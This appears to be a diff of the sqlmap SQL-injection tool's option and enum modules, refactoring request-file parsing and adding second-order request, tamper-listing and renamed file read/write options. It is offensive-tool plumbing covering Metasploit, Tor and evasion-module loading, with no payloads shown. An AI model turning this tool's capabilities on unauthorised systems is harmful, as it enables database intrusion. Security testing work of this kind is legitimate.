"sqlQuery": CONTENT_TYPE.SQL_QUERY,
"tableExists": CONTENT_TYPE.COMMON_TABLES,
"columnExists": CONTENT_TYPE.COMMON_COLUMNS,
"readFile": CONTENT_TYPE.FILE_READ,
"writeFile": CONTENT_TYPE.FILE_WRITE,
"osCmd": CONTENT_TYPE.OS_CMD,
"regRead": CONTENT_TYPE.REG_READ
}
class CONTENT_STATUS:
IN_PROGRESS = 0
COMPLETE = 1
@@ -373,6 +358,7 @@ class AUTOCOMPLETE_TYPE:
SQL = 0
OS = 1
SQLMAP = 2
API = 3
class NOTE:
FALSE_POSITIVE_OR_UNEXPLOITABLE = "false positive or unexploitable"
@@ -392,3 +378,7 @@ class TIMEOUT_STATE:
NORMAL = 0
EXCEPTION = 1
TIMEOUT = 2
class HINT:
PREPEND = 0
APPEND = 1

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,16 +1,14 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import binascii
import cookielib
import glob
import inspect
import logging
import httplib
import os
import random
import re
@@ -37,19 +35,16 @@ from lib.core.common import checkFile
from lib.core.common import dataToStdout
from lib.core.common import getPublicTypeMembers
from lib.core.common import getSafeExString
from lib.core.common import extractRegexResult
from lib.core.common import filterStringValue
from lib.core.common import findLocalPort
from lib.core.common import findPageForms
from lib.core.common import getConsoleWidth
from lib.core.common import getFileItems
from lib.core.common import getFileType
from lib.core.common import getUnicode
from lib.core.common import normalizePath
from lib.core.common import ntToPosixSlashes
from lib.core.common import openFile
from lib.core.common import parseRequestFile
from lib.core.common import parseTargetDirect
from lib.core.common import parseTargetUrl
from lib.core.common import paths
from lib.core.common import randomStr
from lib.core.common import readCachedFileContent
@@ -58,6 +53,7 @@ from lib.core.common import resetCookieJar
from lib.core.common import runningAsAdmin
from lib.core.common import safeExpandUser
from lib.core.common import saveConfig
from lib.core.common import setColor
from lib.core.common import setOptimize
from lib.core.common import setPaths
from lib.core.common import singleTimeWarnMessage
@@ -86,6 +82,7 @@ from lib.core.enums import PROXY_TYPE
from lib.core.enums import REFLECTIVE_COUNTER
from lib.core.enums import WIZARD
from lib.core.exception import SqlmapConnectionException
from lib.core.exception import SqlmapDataException
from lib.core.exception import SqlmapFilePathException
from lib.core.exception import SqlmapGenericException
from lib.core.exception import SqlmapInstallationException
@@ -100,17 +97,14 @@ from lib.core.exception import SqlmapUnsupportedDBMSException
from lib.core.exception import SqlmapUserQuitException
from lib.core.log import FORMATTER
from lib.core.optiondict import optDict
from lib.core.settings import BURP_REQUEST_REGEX
from lib.core.settings import BURP_XML_HISTORY_REGEX
from lib.core.settings import CODECS_LIST_PAGE
from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
from lib.core.settings import DBMS_ALIASES
from lib.core.settings import DEFAULT_PAGE_ENCODING
from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS
from lib.core.settings import DEFAULT_USER_AGENT
from lib.core.settings import DUMMY_URL
from lib.core.settings import INJECT_HERE_REGEX
from lib.core.settings import IS_WIN
from lib.core.settings import KB_CHARS_BOUNDARY_CHAR
from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET
@@ -120,8 +114,6 @@ from lib.core.settings import MAX_NUMBER_OF_THREADS
from lib.core.settings import NULL
from lib.core.settings import PARAMETER_SPLITTING_REGEX
from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT
from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS
from lib.core.settings import SITE
from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE
from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
from lib.core.settings import SUPPORTED_DBMS
@@ -131,8 +123,6 @@ from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import UNION_CHAR_REGEX
from lib.core.settings import UNKNOWN_DBMS_VERSION
from lib.core.settings import URI_INJECTABLE_REGEX
from lib.core.settings import VERSION_STRING
from lib.core.settings import WEBSCARAB_SPLITTER
from lib.core.threads import getCurrentThreadData
from lib.core.threads import setDaemon
from lib.core.update import update
@@ -174,201 +164,6 @@ try:
except NameError:
WindowsError = None
def _feedTargetsDict(reqFile, addedTargetUrls):
"""
Parses web scarab and burp logs and adds results to the target URL list
"""
def _parseWebScarabLog(content):
"""
Parses web scarab logs (POST method not supported)
"""
reqResList = content.split(WEBSCARAB_SPLITTER)
for request in reqResList:
url = extractRegexResult(r"URL: (?P<result>.+?)\n", request, re.I)
method = extractRegexResult(r"METHOD: (?P<result>.+?)\n", request, re.I)
cookie = extractRegexResult(r"COOKIE: (?P<result>.+?)\n", request, re.I)
if not method or not url:
logger.debug("not a valid WebScarab log data")
continue
if method.upper() == HTTPMETHOD.POST:
warnMsg = "POST requests from WebScarab logs aren't supported "
warnMsg += "as their body content is stored in separate files. "
warnMsg += "Nevertheless you can use -r to load them individually."
logger.warning(warnMsg)
continue
if not(conf.scope and not re.search(conf.scope, url, re.I)):
if not kb.targets or url not in addedTargetUrls:
kb.targets.add((url, method, None, cookie, None))
addedTargetUrls.add(url)
def _parseBurpLog(content):
"""
Parses burp logs
"""
if not re.search(BURP_REQUEST_REGEX, content, re.I | re.S):
if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
reqResList = []
for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
port, request = match.groups()
try:
request = request.decode("base64")
except binascii.Error:
continue
_ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
if _:
host = _.group(0).strip()
if not re.search(r":\d+\Z", host):
request = request.replace(host, "%s:%d" % (host, int(port)))
reqResList.append(request)
else:
reqResList = [content]
else:
reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S)
for match in reqResList:
request = match if isinstance(match, basestring) else match.group(0)
request = re.sub(r"\A[^\w]+", "", request)
schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S)
if schemePort:
scheme = schemePort.group(1)
port = schemePort.group(2)
request = re.sub(r"\n=+\Z", "", request.split(schemePort.group(0))[-1].lstrip())
else:
scheme, port = None, None
if not re.search(r"^[\n]*(%s).*?\sHTTP\/" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), request, re.I | re.M):
continue
if re.search(r"^[\n]*%s.*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M):
continue
getPostReq = False
url = None
host = None
method = None
data = None
cookie = None
params = False
newline = None
lines = request.split('\n')
headers = []
for index in xrange(len(lines)):
line = lines[index]
if not line.strip() and index == len(lines) - 1:
break
newline = "\r\n" if line.endswith('\r') else '\n'
line = line.strip('\r')
match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None
if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None:
data = ""
params = True
elif match:
method = match.group(1)
url = match.group(2)
if any(_ in line for _ in ('?', '=', kb.customInjectionMark)):
params = True
getPostReq = True
# POST parameters
elif data is not None and params:
data += "%s%s" % (line, newline)
# GET parameters
elif "?" in line and "=" in line and ": " not in line:
params = True
# Headers
elif re.search(r"\A\S+:", line):
key, value = line.split(":", 1)
value = value.strip().replace("\r", "").replace("\n", "")
# Cookie and Host headers
if key.upper() == HTTP_HEADER.COOKIE.upper():
cookie = value
elif key.upper() == HTTP_HEADER.HOST.upper():
if '://' in value:
scheme, value = value.split('://')[:2]
splitValue = value.split(":")
host = splitValue[0]
if len(splitValue) > 1:
port = filterStringValue(splitValue[1], "[0-9]")
# Avoid to add a static content length header to
# headers and consider the following lines as
# POSTed data
if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper():
params = True
# Avoid proxy and connection type related headers
elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION):
headers.append((getUnicode(key), getUnicode(value)))
if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):
params = True
data = data.rstrip("\r\n") if data else data
if getPostReq and (params or cookie):
if not port and isinstance(scheme, basestring) and scheme.lower() == "https":
port = "443"
elif not scheme and port == "443":
scheme = "https"
if conf.forceSSL:
scheme = "https"
port = port or "443"
if not host:
errMsg = "invalid format of a request file"
raise SqlmapSyntaxException, errMsg
if not url.startswith("http"):
url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
scheme = None
port = None
if not(conf.scope and not re.search(conf.scope, url, re.I)):
if not kb.targets or url not in addedTargetUrls:
kb.targets.add((url, conf.method or method, data, cookie, tuple(headers)))
addedTargetUrls.add(url)
checkFile(reqFile)
try:
with openFile(reqFile, "rb") as f:
content = f.read()
except (IOError, OSError, MemoryError), ex:
errMsg = "something went wrong while trying "
errMsg += "to read the content of file '%s' ('%s')" % (reqFile, getSafeExString(ex))
raise SqlmapSystemException(errMsg)
if conf.scope:
logger.info("using regular expression '%s' for filtering targets" % conf.scope)
_parseBurpLog(content)
_parseWebScarabLog(content)
if not addedTargetUrls:
errMsg = "unable to find usable request(s) "
errMsg += "in provided file ('%s')" % reqFile
raise SqlmapGenericException(errMsg)
def _loadQueries():
"""
Loads queries from 'xml/queries.xml' file.
@@ -402,7 +197,7 @@ def _loadQueries():
errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg
raise SqlmapInstallationException(errMsg)
for node in tree.findall("*"):
queries[node.attrib['value']] = iterate(node)
@@ -414,7 +209,7 @@ def _setMultipleTargets():
"""
initialTargetsCount = len(kb.targets)
addedTargetUrls = set()
seen = set()
if not conf.logFile:
return
@@ -427,7 +222,11 @@ def _setMultipleTargets():
raise SqlmapFilePathException(errMsg)
if os.path.isfile(conf.logFile):
_feedTargetsDict(conf.logFile, addedTargetUrls)
for target in parseRequestFile(conf.logFile):
url = target[0]
if url not in seen:
kb.targets.add(target)
seen.add(url)
elif os.path.isdir(conf.logFile):
files = os.listdir(conf.logFile)
@@ -437,7 +236,11 @@ def _setMultipleTargets():
if not re.search(r"([\d]+)\-request", reqFile):
continue
_feedTargetsDict(os.path.join(conf.logFile, reqFile), addedTargetUrls)
for target in parseRequestFile(os.path.join(conf.logFile, reqFile)):
url = target[0]
if url not in seen:
kb.targets.add(target)
seen.add(url)
else:
errMsg = "the specified list of targets is not a file "
@@ -478,22 +281,37 @@ def _setRequestFromFile():
textual file, parses it and saves the information into the knowledge base.
"""
if not conf.requestFile:
return
if conf.requestFile:
conf.requestFile = safeExpandUser(conf.requestFile)
seen = set()
addedTargetUrls = set()
if not os.path.isfile(conf.requestFile):
errMsg = "specified HTTP request file '%s' " % conf.requestFile
errMsg += "does not exist"
raise SqlmapFilePathException(errMsg)
conf.requestFile = safeExpandUser(conf.requestFile)
infoMsg = "parsing HTTP request from '%s'" % conf.requestFile
logger.info(infoMsg)
if not os.path.isfile(conf.requestFile):
errMsg = "specified HTTP request file '%s' " % conf.requestFile
errMsg += "does not exist"
raise SqlmapFilePathException(errMsg)
for target in parseRequestFile(conf.requestFile):
url = target[0]
if url not in seen:
kb.targets.add(target)
seen.add(url)
infoMsg = "parsing HTTP request from '%s'" % conf.requestFile
logger.info(infoMsg)
if conf.secondReq:
conf.secondReq = safeExpandUser(conf.secondReq)
_feedTargetsDict(conf.requestFile, addedTargetUrls)
if not os.path.isfile(conf.secondReq):
errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq
errMsg += "does not exist"
raise SqlmapFilePathException(errMsg)
infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq
logger.info(infoMsg)
target = parseRequestFile(conf.secondReq, False).next()
kb.secondReq = target
def _setCrawler():
if not conf.crawlDepth:
@@ -687,12 +505,12 @@ def _setMetasploit():
if IS_WIN:
try:
import win32file
__import__("win32file")
except ImportError:
errMsg = "sqlmap requires third-party module 'pywin32' "
errMsg += "in order to use Metasploit functionalities on "
errMsg += "Windows. You can download it from "
errMsg += "'http://sourceforge.net/projects/pywin32/files/pywin32/'"
errMsg += "'https://sourceforge.net/projects/pywin32/files/pywin32/'"
raise SqlmapMissingDependence(errMsg)
if not conf.msfPath:
@@ -700,7 +518,7 @@ def _setMetasploit():
retVal = None
try:
from _winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE
from _winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE
_ = ConnectRegistry(None, HKEY_LOCAL_MACHINE)
_ = OpenKey(_, key)
retVal = QueryValueEx(_, value)[0]
@@ -784,26 +602,26 @@ def _setMetasploit():
if not msfEnvPathExists:
errMsg = "unable to locate Metasploit Framework installation. "
errMsg += "You can get it at 'http://www.metasploit.com/download/'"
errMsg += "You can get it at 'https://www.metasploit.com/download/'"
raise SqlmapFilePathException(errMsg)
def _setWriteFile():
if not conf.wFile:
if not conf.fileWrite:
return
debugMsg = "setting the write file functionality"
logger.debug(debugMsg)
if not os.path.exists(conf.wFile):
errMsg = "the provided local file '%s' does not exist" % conf.wFile
if not os.path.exists(conf.fileWrite):
errMsg = "the provided local file '%s' does not exist" % conf.fileWrite
raise SqlmapFilePathException(errMsg)
if not conf.dFile:
if not conf.fileDest:
errMsg = "you did not provide the back-end DBMS absolute path "
errMsg += "where you want to write the local file '%s'" % conf.wFile
errMsg += "where you want to write the local file '%s'" % conf.fileWrite
raise SqlmapMissingMandatoryOptionException(errMsg)
conf.wFileType = getFileType(conf.wFile)
conf.fileWriteType = getFileType(conf.fileWrite)
def _setOS():
"""
@@ -880,6 +698,22 @@ def _setDBMS():
break
def _listTamperingFunctions():
"""
Lists available tamper functions
"""
if conf.listTampers:
infoMsg = "listing available tamper scripts\n"
logger.info(infoMsg)
for script in sorted(glob.glob(os.path.join(paths.SQLMAP_TAMPER_PATH, "*.py"))):
content = openFile(script, "rb").read()
match = re.search(r'(?s)__priority__.+"""(.+)"""', content)
if match:
comment = match.group(1).strip()
dataToStdout("* %s - %s\n" % (setColor(os.path.basename(script), "yellow"), re.sub(r" *\n *", " ", comment.split("\n\n")[0].strip())))
def _setTamperingFunctions():
"""
Loads tampering functions from given script(s)
@@ -918,7 +752,7 @@ def _setTamperingFunctions():
dirname, filename = os.path.split(script)
dirname = os.path.abspath(dirname)
infoMsg = "loading tamper script '%s'" % filename[:-3]
infoMsg = "loading tamper module '%s'" % filename[:-3]
logger.info(infoMsg)
if not os.path.exists(os.path.join(dirname, "__init__.py")):
@@ -931,8 +765,8 @@ def _setTamperingFunctions():
try:
module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
except (ImportError, SyntaxError), ex:
raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], getSafeExString(ex)))
except Exception, ex:
raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (filename[:-3], getSafeExString(ex)))
priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__
@@ -962,7 +796,12 @@ def _setTamperingFunctions():
break
elif name == "dependencies":
function()
try:
function()
except Exception, ex:
errMsg = "error occurred while checking dependencies "
errMsg += "for tamper module '%s' ('%s')" % (filename[:-3], getSafeExString(ex))
raise SqlmapGenericException(errMsg)
if not found:
errMsg = "missing function 'tamper(payload, **kwargs)' "
@@ -983,7 +822,7 @@ def _setTamperingFunctions():
def _setWafFunctions():
"""
Loads WAF/IPS/IDS detecting functions from script(s)
Loads WAF/IPS detecting functions from script(s)
"""
if conf.identifyWaf:
@@ -1046,7 +885,7 @@ def _setSocketPreConnect():
if conf.disablePrecon:
return
def _():
def _thread():
while kb.get("threadContinue") and not conf.get("disablePrecon"):
try:
for key in socket._ready:
@@ -1078,6 +917,7 @@ def _setSocketPreConnect():
break
else:
try:
candidate.shutdown(socket.SHUT_RDWR)
candidate.close()
except socket.error:
pass
@@ -1090,7 +930,7 @@ def _setSocketPreConnect():
socket.socket._connect = socket.socket.connect
socket.socket.connect = connect
thread = threading.Thread(target=_)
thread = threading.Thread(target=_thread)
setDaemon(thread)
thread.start()
@@ -1127,7 +967,7 @@ def _setHTTPHandlers():
_ = urlparse.urlsplit(conf.proxy)
except Exception, ex:
errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex))
raise SqlmapSyntaxException, errMsg
raise SqlmapSyntaxException(errMsg)
hostnamePort = _.netloc.split(":")
@@ -1231,7 +1071,7 @@ def _setSafeVisit():
key, value = line.split(':', 1)
value = value.strip()
kb.safeReq.headers[key] = value
if key == HTTP_HEADER.HOST:
if key.upper() == HTTP_HEADER.HOST.upper():
if not value.startswith("http"):
scheme = "http"
if value.endswith(":443"):
@@ -1254,7 +1094,7 @@ def _setSafeVisit():
kb.safeReq.post = None
else:
errMsg = "invalid format of a safe request file"
raise SqlmapSyntaxException, errMsg
raise SqlmapSyntaxException(errMsg)
else:
if not re.search(r"\Ahttp[s]*://", conf.safeUrl):
if ":443/" in conf.safeUrl:
@@ -1376,7 +1216,7 @@ def _setHTTPAuthentication():
except ImportError:
errMsg = "sqlmap requires Python NTLM third-party library "
errMsg += "in order to authenticate via NTLM, "
errMsg += "http://code.google.com/p/python-ntlm/"
errMsg += "https://github.com/mullender/python-ntlm"
raise SqlmapMissingDependence(errMsg)
authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr)
@@ -1416,14 +1256,6 @@ def _setHTTPExtraHeaders():
# Reference: http://stackoverflow.com/a/1383359
conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache"))
def _defaultHTTPUserAgent():
"""
@return: default sqlmap HTTP User-Agent header
@rtype: C{str}
"""
return "%s (%s)" % (VERSION_STRING, SITE)
def _setHTTPUserAgent():
"""
Set the HTTP User-Agent header.
@@ -1463,12 +1295,12 @@ def _setHTTPUserAgent():
_ = True
for header, _ in conf.httpHeaders:
if header == HTTP_HEADER.USER_AGENT:
if header.upper() == HTTP_HEADER.USER_AGENT.upper():
_ = False
break
if _:
conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _defaultHTTPUserAgent()))
conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, DEFAULT_USER_AGENT))
else:
if not kb.userAgents:
@@ -1483,13 +1315,13 @@ def _setHTTPUserAgent():
warnMsg += "file '%s'" % paths.USER_AGENTS
logger.warn(warnMsg)
conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _defaultHTTPUserAgent()))
conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, DEFAULT_USER_AGENT))
return
userAgent = random.sample(kb.userAgents or [_defaultHTTPUserAgent()], 1)[0]
userAgent = random.sample(kb.userAgents or [DEFAULT_USER_AGENT], 1)[0]
infoMsg = "fetched random HTTP User-Agent header from "
infoMsg += "file '%s': '%s'" % (paths.USER_AGENTS, userAgent)
infoMsg = "fetched random HTTP User-Agent header value '%s' from " % userAgent
infoMsg += "file '%s'" % paths.USER_AGENTS
logger.info(infoMsg)
conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, userAgent))
@@ -1527,6 +1359,19 @@ def _setHTTPCookies():
conf.httpHeaders.append((HTTP_HEADER.COOKIE, conf.cookie))
def _setHostname():
"""
Set value conf.hostname
"""
if conf.url:
try:
conf.hostname = urlparse.urlsplit(conf.url).netloc.split(':')[0]
except ValueError, ex:
errMsg = "problem occurred while "
errMsg += "parsing an URL '%s' ('%s')" % (conf.url, getSafeExString(ex))
raise SqlmapDataException(errMsg)
def _setHTTPTimeout():
"""
Set the HTTP timeout
@@ -1579,12 +1424,12 @@ def _createTemporaryDirectory():
except (OSError, IOError), ex:
errMsg = "there has been a problem while accessing "
errMsg += "temporary directory location(s) ('%s')" % getSafeExString(ex)
raise SqlmapSystemException, errMsg
raise SqlmapSystemException(errMsg)
else:
try:
if not os.path.isdir(tempfile.gettempdir()):
os.makedirs(tempfile.gettempdir())
except (OSError, IOError, WindowsError), ex:
except Exception, ex:
warnMsg = "there has been a problem while accessing "
warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex)
warnMsg += "make sure that there is enough disk space left. If problem persists, "
@@ -1595,7 +1440,7 @@ def _createTemporaryDirectory():
if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir:
try:
tempfile.tempdir = tempfile.mkdtemp(prefix="sqlmap", suffix=str(os.getpid()))
except (OSError, IOError, WindowsError):
except:
tempfile.tempdir = os.path.join(paths.SQLMAP_HOME_PATH, "tmp", "sqlmap%s%d" % (randomStr(6), os.getpid()))
kb.tempDir = tempfile.tempdir
@@ -1603,10 +1448,10 @@ def _createTemporaryDirectory():
if not os.path.isdir(tempfile.tempdir):
try:
os.makedirs(tempfile.tempdir)
except (OSError, IOError, WindowsError), ex:
except Exception, ex:
errMsg = "there has been a problem while setting "
errMsg += "temporary directory location ('%s')" % getSafeExString(ex)
raise SqlmapSystemException, errMsg
raise SqlmapSystemException(errMsg)
def _cleanupOptions():
"""
@@ -1647,7 +1492,10 @@ def _cleanupOptions():
conf.rParam = []
if conf.paramDel and '\\' in conf.paramDel:
conf.paramDel = conf.paramDel.decode("string_escape")
try:
conf.paramDel = conf.paramDel.decode("string_escape")
except ValueError:
pass
if conf.skip:
conf.skip = conf.skip.replace(" ", "")
@@ -1661,14 +1509,17 @@ def _cleanupOptions():
if conf.delay:
conf.delay = float(conf.delay)
if conf.rFile:
conf.rFile = ntToPosixSlashes(normalizePath(conf.rFile))
if conf.url:
conf.url = conf.url.strip()
if conf.wFile:
conf.wFile = ntToPosixSlashes(normalizePath(conf.wFile))
if conf.fileRead:
conf.fileRead = ntToPosixSlashes(normalizePath(conf.fileRead))
if conf.dFile:
conf.dFile = ntToPosixSlashes(normalizePath(conf.dFile))
if conf.fileWrite:
conf.fileWrite = ntToPosixSlashes(normalizePath(conf.fileWrite))
if conf.fileDest:
conf.fileDest = ntToPosixSlashes(normalizePath(conf.fileDest))
if conf.sitemapUrl and not conf.sitemapUrl.lower().startswith("http"):
conf.sitemapUrl = "http%s://%s" % ('s' if conf.forceSSL else '', conf.sitemapUrl)
@@ -1685,14 +1536,6 @@ def _cleanupOptions():
if conf.optimize:
setOptimize()
match = re.search(INJECT_HERE_REGEX, conf.data or "")
if match:
kb.customInjectionMark = match.group(0)
match = re.search(INJECT_HERE_REGEX, conf.url or "")
if match:
kb.customInjectionMark = match.group(0)
if conf.os:
conf.os = conf.os.capitalize()
@@ -1710,7 +1553,7 @@ def _cleanupOptions():
if conf.testFilter:
conf.testFilter = conf.testFilter.strip('*+')
conf.testFilter = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testFilter)
conf.testFilter = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testFilter)
try:
re.compile(conf.testFilter)
@@ -1719,7 +1562,7 @@ def _cleanupOptions():
if conf.testSkip:
conf.testSkip = conf.testSkip.strip('*+')
conf.testSkip = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testSkip)
conf.testSkip = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testSkip)
try:
re.compile(conf.testSkip)
@@ -1781,8 +1624,8 @@ def _cleanupOptions():
if conf.col:
conf.col = re.sub(r"\s*,\s*", ',', conf.col)
if conf.excludeCol:
conf.excludeCol = re.sub(r"\s*,\s*", ',', conf.excludeCol)
if conf.exclude:
conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
if conf.binaryFields:
conf.binaryFields = re.sub(r"\s*,\s*", ',', conf.binaryFields)
@@ -1790,6 +1633,9 @@ def _cleanupOptions():
if any((conf.proxy, conf.proxyFile, conf.tor)):
conf.disablePrecon = True
if conf.dummy:
conf.batch = True
threadData = getCurrentThreadData()
threadData.reset()
@@ -1804,23 +1650,13 @@ def _cleanupEnvironment():
if hasattr(socket, "_ready"):
socket._ready.clear()
def _dirtyPatches():
def _purge():
"""
Place for "dirty" Python related patches
Safely removes (purges) sqlmap data directory.
"""
httplib._MAXLINE = 1 * 1024 * 1024 # accept overly long result lines (e.g. SQLi results in HTTP header responses)
if IS_WIN:
from thirdparty.wininetpton import win_inet_pton # add support for inet_pton() on Windows OS
def _purgeOutput():
"""
Safely removes (purges) output directory.
"""
if conf.purgeOutput:
purge(paths.SQLMAP_OUTPUT_PATH)
if conf.purge:
purge(paths.SQLMAP_HOME_PATH)
def _setConfAttributes():
"""
@@ -1858,7 +1694,7 @@ def _setConfAttributes():
conf.tests = []
conf.trafficFP = None
conf.HARCollectorFactory = None
conf.wFileType = None
conf.fileWriteType = None
def _setKnowledgeBaseAttributes(flushAll=True):
"""
@@ -1872,6 +1708,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.absFilePaths = set()
kb.adjustTimeDelay = None
kb.alerted = False
kb.aliasName = randomStr()
kb.alwaysRefresh = None
kb.arch = None
kb.authHeader = None
@@ -1886,6 +1723,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.cache.addrinfo = {}
kb.cache.content = {}
kb.cache.encoding = {}
kb.cache.alphaBoundaries = None
kb.cache.intBoundaries = None
kb.cache.parsedDbms = {}
kb.cache.regex = {}
@@ -1937,6 +1775,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.forcePartialUnion = False
kb.forceWhere = None
kb.futileUnion = None
kb.heavilyDynamic = False
kb.headersFp = {}
kb.heuristicDbms = None
kb.heuristicExtendedDbms = None
@@ -1953,6 +1792,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.injection = InjectionDict()
kb.injections = []
kb.laggingChecked = False
kb.lastInputMessage = None
kb.lastParserStatus = None
kb.locks = AttribDict()
@@ -2008,6 +1848,8 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.rowXmlMode = False
kb.safeCharEncode = False
kb.safeReq = AttribDict()
kb.secondReq = None
kb.serverHeader = None
kb.singleLogFlags = set()
kb.skipSeqMatcher = False
kb.reduceTests = None
@@ -2030,6 +1872,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.uChar = NULL
kb.unionDuplicates = False
kb.wafSpecificResponse = None
kb.wizardMode = False
kb.xpCmdshellAvailable = False
if flushAll:
@@ -2097,11 +1940,11 @@ def _useWizardInterface():
choice = readInput(message, default='1')
if choice == '2':
map(lambda x: conf.__setitem__(x, True), WIZARD.INTERMEDIATE)
map(lambda _: conf.__setitem__(_, True), WIZARD.INTERMEDIATE)
elif choice == '3':
map(lambda x: conf.__setitem__(x, True), WIZARD.ALL)
map(lambda _: conf.__setitem__(_, True), WIZARD.ALL)
else:
map(lambda x: conf.__setitem__(x, True), WIZARD.BASIC)
map(lambda _: conf.__setitem__(_, True), WIZARD.BASIC)
logger.debug("muting sqlmap.. it will do the magic for you")
conf.verbose = 0
@@ -2111,6 +1954,8 @@ def _useWizardInterface():
dataToStdout("\nsqlmap is running, please wait..\n\n")
kb.wizardMode = True
def _saveConfig():
"""
Saves the command line options to a sqlmap configuration INI file
@@ -2305,7 +2150,6 @@ def _setTorHttpProxySettings():
errMsg = "can't establish connection with the Tor HTTP proxy. "
errMsg += "Please make sure that you have Tor (bundle) installed and setup "
errMsg += "so you could be able to successfully use switch '--tor' "
raise SqlmapConnectionException(errMsg)
if not conf.checkTor:
@@ -2326,7 +2170,6 @@ def _setTorSocksProxySettings():
errMsg = "can't establish connection with the Tor SOCKS proxy. "
errMsg += "Please make sure that you have Tor service installed and setup "
errMsg += "so you could be able to successfully use switch '--tor' "
raise SqlmapConnectionException(errMsg)
# SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29)
@@ -2339,7 +2182,7 @@ def _checkWebSocket():
from websocket import ABNF
except ImportError:
errMsg = "sqlmap requires third-party module 'websocket-client' "
errMsg += "in order to use WebSocket funcionality"
errMsg += "in order to use WebSocket functionality"
raise SqlmapMissingDependence(errMsg)
def _checkTor():
@@ -2396,6 +2239,10 @@ def _basicOptionValidation():
errMsg = "switch '--eta' is incompatible with option '-v'"
raise SqlmapSyntaxException(errMsg)
if conf.secondUrl and conf.secondReq:
errMsg = "option '--second-url' is incompatible with option '--second-req')"
raise SqlmapSyntaxException(errMsg)
if conf.direct and conf.url:
errMsg = "option '-d' is incompatible with option '-u' ('--url')"
raise SqlmapSyntaxException(errMsg)
@@ -2531,11 +2378,11 @@ def _basicOptionValidation():
raise SqlmapSyntaxException(errMsg)
if conf.checkTor and not any((conf.tor, conf.proxy)):
errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address using Tor)"
errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address of Tor service)"
raise SqlmapSyntaxException(errMsg)
if conf.torPort is not None and not (isinstance(conf.torPort, int) and conf.torPort >= 0 and conf.torPort <= 65535):
errMsg = "value for option '--tor-port' must be in range 0-65535"
errMsg = "value for option '--tor-port' must be in range [0, 65535]"
raise SqlmapSyntaxException(errMsg)
